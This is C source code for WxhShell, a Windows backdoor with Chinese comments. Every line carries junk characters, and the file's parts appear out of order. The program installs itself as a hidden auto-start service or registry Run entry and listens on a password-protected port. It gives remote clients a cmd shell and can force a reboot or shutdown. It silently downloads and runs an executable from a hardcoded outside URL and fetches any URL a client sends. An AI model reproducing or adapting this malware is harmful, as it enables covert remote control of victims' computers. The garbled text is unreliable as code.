    if(Boot(SHUTDOWN)) /\h*v!:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FA$32*v  
    else { j]<K%lwp  
    closesocket(wsh); =3w;<1 ?'  
    ExitThread(0); 9 %4:eTcp  
    } Yg3nT:K_Y&  
    break; W_JO~P  
    } y^`JWs,  
  // 获取shell Y.]$T8  
  case 's': { M?%x= q\<  
    CmdShell(wsh); 9g5h~ Ma  
    closesocket(wsh); = a60Xv  
    ExitThread(0); -[ gT}{k!  
    break; BDWbWA 6  
  } 2a48(~<_  
  // 退出 3dj|jw5  
  case 'x': { adX"Yg!`{c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &4S2fWx  
    CloseIt(wsh); BB(6[V"SV  
    break; % J^x `P  
    } pF8 #H~  
  // 离开 o5?Y   
  case 'q': { z77>W}d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Q7;(&x~  
    closesocket(wsh); diY7<u#  
    WSACleanup(); rFQWgWD  
    exit(1); +)"Rv%.  
    break; zZ8*a\  
        } O.(2  
  }  |50sGJE(  
  } X$ ZVY2  
Bso#+v5  
  // 提示信息 ?e<2'\5v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5MAfuHq^  
} ?l^Xauk4Pj  
  } P$#:$U @  
~E7IU<B  
  return; Ct w<-'  
} zR^Gy"  
}Pg}"fb^  
// shell模块句柄 j,+]tHC-  
int CmdShell(SOCKET sock) hDW!pnj1  
{ /D3{EjUE=  
STARTUPINFO si; _V-KyK  
ZeroMemory(&si,sizeof(si)); f|~{j(.v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rQVX^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F#sm^%_2  
PROCESS_INFORMATION ProcessInfo; Mz(Vf1pi%  
char cmdline[]="cmd"; +y?Ilkk;j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yg^ &4ZF  
  return 0; xf]K  
} ;mG*Rad  
67II9\/  
// 自身启动模式 00QJ596  
int StartFromService(void) kO}&Oi,?  
{ S' j g#*$  
typedef struct [8i)/5D4  
{ V*uE83x 1  
  DWORD ExitStatus; |1~n<=`Z  
  DWORD PebBaseAddress; l}))vf=i  
  DWORD AffinityMask; 27e!KG[&  
  DWORD BasePriority; YB5"i9T2  
  ULONG UniqueProcessId; Cku"vVw,  
  ULONG InheritedFromUniqueProcessId; bP&QFc  
}   PROCESS_BASIC_INFORMATION; ixd sz\<  
Q!e560@  
PROCNTQSIP NtQueryInformationProcess;  6st  
:CyHo6o9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {arqcILr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZD]1C ~)  
"La;$7ds  
  HANDLE             hProcess; r!mRUw'u  
  PROCESS_BASIC_INFORMATION pbi; ?l0Qi  
YA4D?'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pb#M7=J/  
  if(NULL == hInst ) return 0; g"!(@]L!@  
"?I#!t%'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /o;M ?Nt6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t<!;shH,s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?nd: :O  
hy5[ L`B  
  if (!NtQueryInformationProcess) return 0; 5I622d  
)D,KG_7l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t~) P1Lof\  
  if(!hProcess) return 0; o}OY,P  
wGc7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hH8&g%{2  
&]nx^C8V;  
  CloseHandle(hProcess); Xu]~vik  
.A2$C|a*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ttluh *  
if(hProcess==NULL) return 0; /T w{JO#Q  
Ax;[Em?I  
HMODULE hMod; H3A$YkK [  
char procName[255]; 513,k$7  
unsigned long cbNeeded; O *sU|jeO  
4l$OO;B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >HP `B2Q H  
Yj/afn(Jt  
  CloseHandle(hProcess); 53HA6:Q[  
~||0lj.D  
if(strstr(procName,"services")) return 1; // 以服务启动 T6U/}&{O  
x[(6V'  
  return 0; // 注册表启动 `H+"7SO  
} u_(~zs.N]  
`JySuP2~/  
// 主模块 U\KMeaF5e-  
int StartWxhshell(LPSTR lpCmdLine) qX\*l m/l  
{ X?5{2ulrI  
  SOCKET wsl; |R`"Zu`  
BOOL val=TRUE; H+v&4}f  
  int port=0; T+kV~ w{  
  struct sockaddr_in door; d54iZ`  
mMAN* }`O  
  if(wscfg.ws_autoins) Install(); }Q\%tZC#T  
nBh+UT}  
port=atoi(lpCmdLine); =)a24PDG  
LOh2eZ"n  
if(port<=0) port=wscfg.ws_port; d>QFmsh-  
 WR;1  
  WSADATA data; "-~ 7lY%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kwI``7g8*e  
kpm;ohd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Br1R++]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LgqQr6y"  
  door.sin_family = AF_INET; 02;jeZ#z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]PXM;w  
  door.sin_port = htons(port); Abc{<4 z0?  
)(iv#;ByL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F.9}jd{  
closesocket(wsl); oaIk1U;g  
return 1; |xO*!NR  
} c+Q'4E0 |  
8=8 hbdy;  
  if(listen(wsl,2) == INVALID_SOCKET) { ~Amq1KU*Z  
closesocket(wsl); "+HJ/8Dd1  
return 1; J4Gzp~{  
} YQBLbtn6(  
  Wxhshell(wsl); 1"h"(dA  
  WSACleanup(); {,>G 1>Yv  
Rh>B# \  
return 0; #Hw|P  
JcAsrtrG]  
} F/5&:e?( )  
/ *0t_  
// 以NT服务方式启动 YQMWhC,8hy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ak'=l;  
{ inut'@=G/  
DWORD   status = 0; RSX27fb4  
  DWORD   specificError = 0xfffffff; 9LR=>@Z  
Et=Pr+Q{c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dlu*s(O"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #]` uH{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |]\zlH"w  
  serviceStatus.dwWin32ExitCode     = 0; K<S3gb?0  
  serviceStatus.dwServiceSpecificExitCode = 0; q lc@$  
  serviceStatus.dwCheckPoint       = 0; ' zyw-1  
  serviceStatus.dwWaitHint       = 0; gx&es\  
a6{Zp{"Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $dC`keQM>9  
  if (hServiceStatusHandle==0) return; fz'qB-F Y  
T{dQ4 c  
status = GetLastError(); N>mW64_H)  
  if (status!=NO_ERROR) ug3\K83aj/  
{ dGKo!;7{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pMfb(D"  
    serviceStatus.dwCheckPoint       = 0; cu!%aM,/<-  
    serviceStatus.dwWaitHint       = 0; U>S  
    serviceStatus.dwWin32ExitCode     = status; fO<40!%9cQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; sd%j&Su#4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tv#oEM9esl  
    return; k{' ZaP)  
  } DDE-$)lf>  
BP/nK.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O( ^h_  
  serviceStatus.dwCheckPoint       = 0; -FZC|[is  
  serviceStatus.dwWaitHint       = 0; C- .;m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h}O tz "  
} ,54z9F`  
Ss[[V(-  
// 处理NT服务事件,比如:启动、停止 6bm7^e(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M2Q,&>M   
{ =j.TDv'^nd  
switch(fdwControl) l=DF)#>w  
{ 'D\X$^J^  
case SERVICE_CONTROL_STOP: Tmzbh 9  
  serviceStatus.dwWin32ExitCode = 0; 5m8u:6kQu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vJWBr:`L  
  serviceStatus.dwCheckPoint   = 0; JR!-1tnc  
  serviceStatus.dwWaitHint     = 0; jTa\I&s,A  
  { 4H{t6t@-:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7^dr[.Q[*  
  } tZ_'>7)  
  return; ale'-V)5  
case SERVICE_CONTROL_PAUSE: wQ33Gc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ] Q5:JV  
  break; .psb# 4  
case SERVICE_CONTROL_CONTINUE: AC RuDY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ht[$s40P  
  break; &'uP?r9c$  
case SERVICE_CONTROL_INTERROGATE: '=dQ$fs  
  break; h;V 4|jM  
}; $|K: 9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); juF9:Eah  
} \.Lj A_  
 "J(M.Y  
// 标准应用程序主函数 J!:BCjRdw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  ?eS;Yc  
{ 'f( CN3.!  
X1#Ar)  
// 获取操作系统版本 s~M$Wo8  
OsIsNt=GetOsVer(); 8~Cmn%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u)@:V)z  
$qD\ku;'  
  // 从命令行安装 m23"xnRB  
  if(strpbrk(lpCmdLine,"iI")) Install(); [qc1 V%g  
~F"S]  
  // 下载执行文件 2!#g\"  
if(wscfg.ws_downexe) { #^}H)>jWy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oU\]#e^  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rqe. =+Qs  
} xfRp_;l+R  
M%E<]H2;S  
if(!OsIsNt) { r=Xo;d*TE  
// 如果时win9x,隐藏进程并且设置为注册表启动 ebBi zc=  
HideProc(); r8 9o  
StartWxhshell(lpCmdLine); _vTr?jjfK  
} 5r5on#O&  
else P@v"aa\@2)  
  if(StartFromService()) 5wue2/gl  
  // 以服务方式启动 78l);/E{v  
  StartServiceCtrlDispatcher(DispatchTable); yCQvo(V[F  
else ]0UYxv%]  
  // 普通方式启动 $@PruY3[  
  StartWxhshell(lpCmdLine); ;\K]~  
TiD#t+g  
return 0; ~4 fE`-O  
} hF'VqJS  
1KZigeHXI  
;@Zuet  
d6n_Hpxw^  
=========================================== "rB B&l  
C^ZoYf8+"m  
Im6gWDdq@6  
$gr>Y2i  
z"f@iJX?2  
, 5W7a  
" TtkHMPlm_  
2"D4q(@  
#include <stdio.h> CcQc!`YC  
#include <string.h> eha|cAq  
#include <windows.h> vn}m-U XA*  
#include <winsock2.h> 6Z|h>H5 a  
#include <winsvc.h> r^5%0_F]  
#include <urlmon.h> v>keZZOs  
b-ss^UL  
#pragma comment (lib, "Ws2_32.lib") ==Egy:<:Q  
#pragma comment (lib, "urlmon.lib") '&cH,yc;b  
lp(2"$nQ  
#define MAX_USER   100 // 最大客户端连接数 '~Y@HRVL@|  
#define BUF_SOCK   200 // sock buffer LG8h@HY&L  
#define KEY_BUFF   255 // 输入 buffer }U8v ~wcd  
 v@EErF  
#define REBOOT     0   // 重启 O50_qu33ju  
#define SHUTDOWN   1   // 关机 ),yar9C  
dFBFXy  
#define DEF_PORT   5000 // 监听端口 sFM$O232  
&|x7T<,)  
#define REG_LEN     16   // 注册表键长度 >ZJ]yhbhK  
#define SVC_LEN     80   // NT服务名长度 8&U Mmbgy  
e,|gr"$/  
// 从dll定义API DKf(igw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j""ZFh04  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $ 64up!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *Z#OfB4}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m""+ $  
lpXGsK H2  
// wxhshell配置信息 hJ(vDv%  
struct WSCFG { Z[Tou  
  int ws_port;         // 监听端口 u\Cf@}5(  
  char ws_passstr[REG_LEN]; // 口令 M{ncWq*_j  
  int ws_autoins;       // 安装标记, 1=yes 0=no <&m50pq  
  char ws_regname[REG_LEN]; // 注册表键名 jfG of*  
  char ws_svcname[REG_LEN]; // 服务名 {wC*61@1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OKh0m_ )7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +ydd"`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xqw}O2QQ1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %T]$kF++&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1 tOslP@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lU doMm  
WkXgz6 P  
};  ,]EhDW6  
F `7 v  
// default Wxhshell configuration g ` s|]VNt  
struct WSCFG wscfg={DEF_PORT, 0 h A:=r  
    "xuhuanlingzhe", 36Lkcda[  
    1, X&WP.n)  
    "Wxhshell", Z5Lmg  
    "Wxhshell", fHd[8{;P:  
            "WxhShell Service", 5QiQDQT}5  
    "Wrsky Windows CmdShell Service", !'H$08Ql}  
    "Please Input Your Password: ", hdDT'+  
  1, " AUSgVE+h  
  "http://www.wrsky.com/wxhshell.exe", u9~5U9]O%6  
  "Wxhshell.exe" A1/@KC"&{G  
    }; :&wb+tV  
xnMcxys~  
// 消息定义模块 O[VY|.MEk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O &<p 8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]L~NYe9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2]vTedSOl  
char *msg_ws_ext="\n\rExit."; %)7t2D  
char *msg_ws_end="\n\rQuit."; HaVhdv3L  
char *msg_ws_boot="\n\rReboot..."; jMn,N9Mf  
char *msg_ws_poff="\n\rShutdown..."; yMWh#[phH  
char *msg_ws_down="\n\rSave to "; }`gOfj)?i  
KhND pwO"  
char *msg_ws_err="\n\rErr!"; K.xABKPVc  
char *msg_ws_ok="\n\rOK!"; ~yJ2@2I  
qt}M&=}8Q  
char ExeFile[MAX_PATH]; kQmkS^R  
int nUser = 0; &Pb:P?I  
HANDLE handles[MAX_USER]; J$51z  
int OsIsNt; N`Q.u-'  
8</wQ6&|  
SERVICE_STATUS       serviceStatus; 5hmfdj6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \'Ae,q|w  
*,JE[M  
// 函数声明 o#p%IGG`  
int Install(void); V~/G,3:0y%  
int Uninstall(void); VaD+:b4  
int DownloadFile(char *sURL, SOCKET wsh); ASHU0v  
int Boot(int flag); '?Dxe B  
void HideProc(void); 3tZIL  
int GetOsVer(void); CFh9@Nx  
int Wxhshell(SOCKET wsl); jh oA6I  
void TalkWithClient(void *cs); e%[*NX/  
int CmdShell(SOCKET sock); At\(/Z y  
int StartFromService(void); 1<G+KC[F  
int StartWxhshell(LPSTR lpCmdLine); x.-d)]a!  
?Ujg.xo\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gl+d0<R zw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U1r]e%df)  
~Fuq{e9`  
// 数据结构和表定义 XY| y1L 3[  
SERVICE_TABLE_ENTRY DispatchTable[] = 44} 5o  
{ f7a4E+}  
{wscfg.ws_svcname, NTServiceMain}, gbuh04#~  
{NULL, NULL} Jx5`0?  
}; J>  
esJ7#Gxt  
// 自我安装 1*=ev,Z  
int Install(void) upuN$4m&{  
{ zzZ EX  
  char svExeFile[MAX_PATH]; C=+9XfP0  
  HKEY key; ]zlA<w8  
  strcpy(svExeFile,ExeFile); hiS|&5#  
E@ :9|5  
// 如果是win9x系统,修改注册表设为自启动 U=bx30brh%  
if(!OsIsNt) { >S I'Q7k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M,fL(b;2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n.+'9Fj  
  RegCloseKey(key); rk8pL[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N; }$!sNIm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZwDL  
  RegCloseKey(key); lfj5?y  
  return 0; OL 0YjU@  
    } fF)Q;~_VA  
  } bKpy?5&>  
} +b-ON@9]J`  
else { cp@Fj"  
$/M-@3wro  
// 如果是NT以上系统,安装为系统服务 Z i6s0Uck  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V8/d27\  
if (schSCManager!=0) -US:a8`  
{ zz*PAYl.  
  SC_HANDLE schService = CreateService [8 Pt$5]^  
  ( :dt[ #  
  schSCManager, _<c"/B  
  wscfg.ws_svcname, ARu_S B  
  wscfg.ws_svcdisp, s-IE}I?;  
  SERVICE_ALL_ACCESS, ts~VO`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hi09?AX  
  SERVICE_AUTO_START, QH-CZ6M  
  SERVICE_ERROR_NORMAL, E /H%q|q  
  svExeFile, K}CgFBk  
  NULL, ? uYO]!VC  
  NULL, ;NA5G:eQ  
  NULL, `9r{z;UQ  
  NULL, m~&  
  NULL <'4Wne.z!  
  ); 2V@5:tf  
  if (schService!=0) Q("m*eMRt  
  { 3wv@wqx  
  CloseServiceHandle(schService); hq7f"`  
  CloseServiceHandle(schSCManager); G0 EXgq8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j~N*TXkC  
  strcat(svExeFile,wscfg.ws_svcname); H=BI%Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s^zlBvr|.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IMWt!#vuY  
  RegCloseKey(key); \>5sW8P]H`  
  return 0; ;$iT]S  
    } :i!fPNn  
  } +S{m!j%B  
  CloseServiceHandle(schSCManager); zls^JTE  
} zdwQpB,+^  
} @m5J%8>k  
WVeNO,?ytS  
return 1; !kSemDC  
} ]S%_&ZMCM  
FXr^ 4B}  
// 自我卸载 ^(TCUY~f&  
int Uninstall(void) vt5w(}v(  
{ wG)e8,#  
  HKEY key; a Y)vi$;]  
%d+Fq=<  
if(!OsIsNt) { c \??kQH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yc*cT%?g  
  RegDeleteValue(key,wscfg.ws_regname); >3/ mV<g f  
  RegCloseKey(key); 'f{13-# X@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q(qm3OxYo  
  RegDeleteValue(key,wscfg.ws_regname); c= t4 gf  
  RegCloseKey(key); c6F?#@?   
  return 0; =u2~=t=LV  
  } |>(Vo@  
} 9\Gk)0  
} eI ( S)q  
else { 2-'_Nwkl*  
ug]2wftlQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fR[8O\U~  
if (schSCManager!=0) J~K O#`  
{ c $1u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JAHg_!  
  if (schService!=0) fcdXj_u  
  { G T~rr*X  
  if(DeleteService(schService)!=0) { } `L;.9  
  CloseServiceHandle(schService); =-oP,$k  
  CloseServiceHandle(schSCManager); yr},pB  
  return 0; p^Ey6,!8]D  
  } m u9,vH  
  CloseServiceHandle(schService); fL| 9/sojz  
  } yr+QV:oVA  
  CloseServiceHandle(schSCManager); zmQQ/ 7K  
} 8(n>99 VVK  
} |vd|; " `  
\Yj_U'2"i  
return 1; <p<6!tdO  
} QyA^9@iVs  
#Tc`W_-  
// 从指定url下载文件 Mc c%&j  
int DownloadFile(char *sURL, SOCKET wsh) 3DO*kM1s@  
{ J ?{sTj"KB  
  HRESULT hr; 6/cm TT$i  
char seps[]= "/"; w(bvs&`{uC  
char *token; F7<M{h5s  
char *file; +On2R&m  
char myURL[MAX_PATH]; imADjBR]  
char myFILE[MAX_PATH]; 1CJ1-]S(3  
#*:1Ch]B  
strcpy(myURL,sURL); <q'?[aKvR  
  token=strtok(myURL,seps);  zr ez*  
  while(token!=NULL) ;L:UYhDbUx  
  { oTvg%bX  
    file=token; z@UH[>^gj  
  token=strtok(NULL,seps); @wD#+Oz  
  } ;LgMi5dN  
T ^eD  
GetCurrentDirectory(MAX_PATH,myFILE); yE N3/-S+  
strcat(myFILE, "\\"); I8i|tQz  
strcat(myFILE, file); V #vkj  
  send(wsh,myFILE,strlen(myFILE),0); /QS Nv  
send(wsh,"...",3,0); v3[ZPc;;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q>%.zc[x  
  if(hr==S_OK) rui 8x4c  
return 0; BT(eU*m-  
else ,r3`u2)  
return 1; EQoK\.; G~  
A]iT uu5p  
} kK6t|Yn&  
elM<S3  
// 系统电源模块 UHV"<9tk  
int Boot(int flag) %d:cC:`  
{ x%)oL:ue  
  HANDLE hToken; UK'8cz9  
  TOKEN_PRIVILEGES tkp; (Qw>P42J  
,I|^d.[2  
  if(OsIsNt) { jKcl{',  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }`Wo(E}O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >G1]#'6;  
    tkp.PrivilegeCount = 1; <b~~X`Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'xuxMav6m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w?_'sP{pd  
if(flag==REBOOT) { fvta<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }x6)}sz7  
  return 0; "w 4^i!\  
} LTx,oa:ma  
else { @}^VA9ULK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >8>s K(S]  
  return 0; Z!q$d/1  
} .,VLQ btg  
  } `E;xI v|  
  else { uYO$gRem  
if(flag==REBOOT) { -m ,Y6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w}/+3z  
  return 0; p1GP@m,^n0  
} 2I suBX\[  
else { ?1|\(W#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '4GN%xi  
  return 0; BC#`S&R  
} :V6t5I'_  
} ?;w`hA3ei  
\u6.*w5TI  
return 1; q(46v`u  
} D @wIbU  
%Ze7d&  
// win9x进程隐藏模块 (uHyWEHt  
void HideProc(void) }]1C=~lC  
{ `)8S Ix  
|BtFT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jc32s}/H  
  if ( hKernel != NULL ) +u |SX/C  
  { lP4s"8E`h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rm_+kp@\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &D|+tu{  
    FreeLibrary(hKernel); lwG)&qyVd  
  } rw 2i_,.*~  
B}zBbB  
return; ;*Mr(#R  
} !gsrPM  
^!O!HMX0  
// 获取操作系统版本 a&kt!%p:  
int GetOsVer(void) @}r s6 G  
{ Nw ,|4S  
  OSVERSIONINFO winfo; <}xgp[O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qs8^qn0A  
  GetVersionEx(&winfo); ^\S~rW.3_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H7drDw  
  return 1; ^;{uop"DS  
  else Y#P!<Q>}  
  return 0; P=P']\`p+  
} =~,2E;#X  
ES(qu]CjI  
// 客户端句柄模块 pL*aU=FjQ  
int Wxhshell(SOCKET wsl) Wj)v,v2&  
{ 1JOoIC jB  
  SOCKET wsh; >`yRL[c;  
  struct sockaddr_in client; [k%u$  
  DWORD myID; $E8}||d  
C%%gCPI^y  
  while(nUser<MAX_USER) sA+K?_  
{ +~1FKLu  
  int nSize=sizeof(client); A58P$#)?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IW}Wt{'m  
  if(wsh==INVALID_SOCKET) return 1; Fo0s<YlS-  
SgN?[r)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vXM {)  
if(handles[nUser]==0) 39 pA:3iTd  
  closesocket(wsh); EKuLt*a/  
else sw:a(o&$  
  nUser++; m.gv?  
  } @d0~'_vtB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oOLj? 0t  
_$vbb#QXZG  
  return 0; g&_f%hx?  
} O"X7 DgbC  
pFBK'NE  
// 关闭 socket 2J)  
void CloseIt(SOCKET wsh) 6@:<62!;  
{ D)[(  
closesocket(wsh); pOB<Bx5t  
nUser--; K|D1  
ExitThread(0); ^@Qc!(P  
} W%MS,zkAE  
+T,0,^ *  
// 客户端请求句柄 s gZlk9x!Q  
void TalkWithClient(void *cs) 6 !Mm")  
{ qd'Z|'j  
ts,V+cEA  
  SOCKET wsh=(SOCKET)cs; *k?y+}E_f  
  char pwd[SVC_LEN]; M`* BS  
  char cmd[KEY_BUFF]; lG[j,MDs  
char chr[1]; qJ~fEX  
int i,j;  7?vj+1;  
@L 6)RF  
  while (nUser < MAX_USER) { tHM0]Gb}  
+'VYqu/  
if(wscfg.ws_passstr) { On[yL$?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zW`a]n.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SC3_S.  
  //ZeroMemory(pwd,KEY_BUFF); d<m.5ECC}  
      i=0; 4~;M\h  
  while(i<SVC_LEN) { d\c)cgh%  
q}z`Z/`/  
  // 设置超时 rzvKvGd#N  
  fd_set FdRead; 0q]0+o*%  
  struct timeval TimeOut; :+?r nb)N  
  FD_ZERO(&FdRead); 93,7yZ 5#  
  FD_SET(wsh,&FdRead); q(2ZJn13f  
  TimeOut.tv_sec=8; ?O]RQXsZ2  
  TimeOut.tv_usec=0; X]W(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uA t{WDHm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ib @<%  
e)XnS'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3m&  
  pwd=chr[0]; {DUtdu[  
  if(chr[0]==0xd || chr[0]==0xa) { u&o$2 '8  
  pwd=0; {([`[7B>a<  
  break;  BJg  
  } 8WKY 4nkj  
  i++; ^HE@ [b  
    } Z@>kqJ%  
Y%}N@ ,lT  
  // 如果是非法用户,关闭 socket bV"t;R9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pj!f^MN  
} P%!=Rj^2m  
Cm"S=gV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /cvMp#<]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bu08`P9  
l<7SB5  
while(1) { 1FT3d  
Pl2eDv-y  
  ZeroMemory(cmd,KEY_BUFF); 8L6b:$Y3@C  
kN#3HI]8  
      // 自动支持客户端 telnet标准   5;HCNwX  
  j=0; {&6i$4T  
  while(j<KEY_BUFF) { pEW~zl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NQvI=R-g  
  cmd[j]=chr[0]; DhsvN&yNM  
  if(chr[0]==0xa || chr[0]==0xd) { BP\6N%HC%&  
  cmd[j]=0; _w'_l>I  
  break; !*?9n ^PaF  
  } @tJic|)x  
  j++; O,NVhU7,  
    } 6mgLeeY  
mGkQx -|  
  // 下载文件 uW!saT5o  
  if(strstr(cmd,"http://")) { #nAq~@X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k;qWiYMV  
  if(DownloadFile(cmd,wsh)) 3 4&xh1=3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~sq@^<M)s  
  else ?a1pO#{Dg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6)20%*[  
  } H(y Gh  
